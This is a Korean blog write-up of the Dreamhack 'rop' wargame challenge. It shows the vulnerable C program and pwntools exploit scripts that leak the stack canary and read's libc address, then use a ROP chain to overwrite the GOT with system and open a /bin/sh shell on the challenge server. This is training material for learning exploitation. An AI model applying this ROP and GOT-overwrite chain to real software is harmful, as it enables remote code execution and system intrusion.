System Hacking/Dreamhack 풀이

rop(Bypass NX & ASLR)

박연준 2023. 7. 2. 00:37

rop(Bypass NX & ASLR)

문제 정보

  • Exploit Tech: Return Oriented Programming에서 실습하는 문제입니다.

풀이

문제 파일은 다음과 같다.

  • rop.c
  • rop
  • libc-2.27.so
  • Dockerfile

checksec으로 rop 바이너리 파일을 확인해 본 결과 CANARY, NX, ASLR의 보호기법이 적용되있는 것을 알 수 있다.

 

rop.c의 코드는 다음과 같다.

// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts("[1] Leak Canary");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\\n", buf);

  // Do ROP
  puts("[2] Input ROP payload");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

코드를 살펴보면 다음과 같이 첫 번째 입력 값에 canary를 릭하고 두 번째 입력 값에 ROP 공격을 수행하라고 친절히 주석에 나와있다. 또한 system 함수와 “/bin/sh” 문자열이 없어 셸코드를 직접 호출할 수 없다.

  // Leak canary
  puts("[1] Leak Canary");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\\n", buf);

  // Do ROP
  puts("[2] Input ROP payload");
  printf("Buf: ");
  read(0, buf, 0x100);

rop.py 파일을 만들고 카나리를 우회하는 익스플로잇을 작성하면 다음과 같다.

from pwn import *                              #pwntools import
p = process("./rop")                           #exploit binary

def slog(name, addr):                             
	return success(": ".join([name, hex(addr)])) #name과 16진수addr 출력 

e = ELF("./rop")                               #e 변수에 rop바이너리의 ELF 저장

buf = b"A"*0x39                                #canary leak
p.sendafter("Buf: ", buf)                      #Buf: 까지 받아오고 buf 전송
p.recvuntil(buf)                               #buf까지 받아오기
cnry = u64(b"\\x00"+p.recvn(7))                 #첫 널문자 + 7개 바이트 받아와 패킹 후 cnry에 저장
slog("canary", cnry)                           #canary 주소 출력

익스플로잇 수행 결과 canary 값이 잘 나오는 것을 확인할 수 있다.

 

다음으로 system 함수의 주소를 계산해야 하는데 문제 파일에서 libc-2.27.so 파일을 받았기 때문에 이 파일을 사용해서 system 함수와 read 함수의 오프셋을 다음처럼 구할 수 있다.

from pwn import *
libc = ELF("./libc-2.27.so")
read_system = libc.symbols["read"]-libc.symbols["system"]

puts와 pop rdi; ret 가젯을 구해서 read 함수의 GOT를 읽고 system 함수의 주소를 구해야 하기 때문에 가젯을 구하면 다음과 같다.

 

 

pwntools의 ELF.symbols 이라는 메소드를 이용해 익스플로잇 코드를 작성하면 다음과 같다.

from pwn import *                              #pwntools import
p = process("./rop")                           #exploit binary

def slog(name, addr):                             
	return success(": ".join([name, hex(addr)])) #name과 16진수addr 출력 

e = ELF("./rop")                               #e 변수에 rop바이너리의 ELF 저장
libc = ELF("./libc-2.27.so")                   #libc 변수에 사용하는 libc 파일 저장

buf = b"A"*0x39                                #canary leak
p.sendafter("Buf: ", buf)                      #Buf: 까지 받아오고 buf 전송
p.recvuntil(buf)                               #buf까지 받아오기
cnry = u64(b"\\x00"+p.recvn(7))                 #첫 널문자 + 7개 바이트 받아와 패킹 후 cnry에 저장
slog("canary", cnry)                           #canary 주소 출력

read_plt = e.plt['read']                       #read_plt 주소
read_got = e.got['read']                       #read_got 주소
puts_plt = e.plt['puts']                       #puts_plt 주소
pop_rdi = 0x00000000004007f3                   #rdi 가젯 주소
pop_rsi_15 = 0x00000000004007f1                #rsi 가젯 주소

payload = b"A"*0x38 + p64(cnry) + b"B"*0x8     #buf+dummy + canary + sfp (카나리 우회) 

payload += p64(pop_rdi) + p64(read_got)        #처음 인자인 rdi 값에 read_got 대입
payload += p64(puts_plt)                       #인자가 read_got인 puts 함수 출력

p.sendafter("Buf: ", payload)                  #Buf: 까지 받아오고 payload 전송
read = u64(p.recvn(6)+b"\\x00\\x00")             #read_got 주소는 8바이트이므로 뒤에 널문자 2개 붙여서 언패킹
lb = read - libc.symbols["read"]               #libc베이스주소 = read_got - libc.read주소
system = lb + libc.symbols["system"]           #system주소 = libc베이스 + libc시스템주소  
slog("read", read)                             #read주소 출력
slog("libc_base", lb)                          #libc베이스주소 출력
slog("system", system)                         #system주소 출력

익스플로잇 결과 다음과 같이 canary, read, libc_base, system 값이 잘 나온 것을 확인할 수 있다.

 

다음으로 read_got 함수를 덮어쓰기 위해 두 번째 인자를 read_got로 설정해서 호출한다. 그리고 여기서 이해하기 참 어려웠는데 한 번 더 read 함수를 호출해 맨 밑에 우리가 적어줄 문자열의 위치는 read_got 부분의 0x8만큼 뒤에 있기 때문에 인자를 read_got+0x8로 설정한다음 read 함수를 호출한다. 그 후 system 함수를 패킹하고 거기에 “/bin/sh\x00”을 넣어서 보내면 system(”/bin/sh”)를 출력한 값과 같아진다.

from pwn import *                              #pwntools import
p = remote("host3.dreamhack.games", 9592)      #exploit server

def slog(name, addr):                             
	return success(": ".join([name, hex(addr)])) #name과 16진수addr 출력 

e = ELF("./rop")                               #e 변수에 rop바이너리의 ELF 저장
libc = ELF("./libc-2.27.so")                   #libc 변수에 사용하는 libc 파일 저장

buf = b"A"*0x39                                #canary leak
p.sendafter("Buf: ", buf)                      #Buf: 까지 받아오고 buf 전송
p.recvuntil(buf)                               #buf까지 받아오기
cnry = u64(b"\\x00"+p.recvn(7))                 #첫 널문자 + 7개 바이트 받아와 패킹 후 cnry에 저장
slog("canary", cnry)                           #canary 주소 출력

read_plt = e.plt['read']                       #read_plt 주소
read_got = e.got['read']                       #read_got 주소
puts_plt = e.plt['puts']                       #puts_plt 주소
pop_rdi = 0x00000000004007f3                   #rdi 가젯 주소
pop_rsi_15 = 0x00000000004007f1                #rsi 가젯 주소

payload = b"A"*0x38 + p64(cnry) + b"B"*0x8     #buf+dummy + canary + sfp (카나리 우회) 

payload += p64(pop_rdi) + p64(read_got)        #처음 인자인 rdi 값에 read_got 대입
payload += p64(puts_plt)                       #인자가 read_got인 puts 함수 출력

payload += p64(pop_rdi) + p64(0)                    #rdi인 첫 번째 인자 설정
payload += p64(pop_rsi_15) + p64(read_got) + p64(0) #rsi인 두 번째 인자를 read_got로 설정
payload += p64(read_plt)                            #read함수 호출

payload += p64(pop_rdi)                        #rdi 첫 번째 인자 설정    
payload += p64(read_got+0x8)                   #밑에서 쓸 문자 "/bin/sh\\x00" 주소 설정
payload += p64(read_plt)                       #read함수 호출

p.sendafter("Buf: ", payload)                  #Buf: 까지 받아오고 payload 전송
read = u64(p.recvn(6)+b"\\x00\\x00")             #read_got 주소는 8바이트이므로 뒤에 널문자 2개 붙여서 언패킹
lb = read - libc.symbols["read"]               #libc베이스주소 = read_got - libc.read주소
system = lb + libc.symbols["system"]           #system주소 = libc베이스 + libc시스템주소  
slog("read", read)                             #read주소 출력
slog("libc_base", lb)                          #libc베이스주소 출력
slog("system", system)                         #system주소 출력

p.send(p64(system)+b"/bin/sh\\x00")             #system 함수 호출

p.interactive()                                #셸 실행

이렇게 익스플로잇 코드를 다 짜고 실행하면 다음과 같이 system(”/bin/sh”)가 실행되면서 NX와 ASLR 보호 기법이 설정되어 있으면서 system 함수와 /bin/sh 문자열이 바이너리 코드에 없을 때 가젯을 이용하여 우회하는 방법을 알 수 있었다.

 

'System Hacking > Dreamhack 풀이' 카테고리의 다른 글

basic_rop_x86(Bypass NX & ASLR)  (0) 2023.07.02
basic_rop_x64(Bypass NX & ASLR)  (0) 2023.07.02
Return to Library(Bypass NX & ASLR)  (0) 2023.07.02
ssp_001(Stack Canary)  (0) 2023.07.02
Return to Shellcode(Stack Canary)  (0) 2023.07.02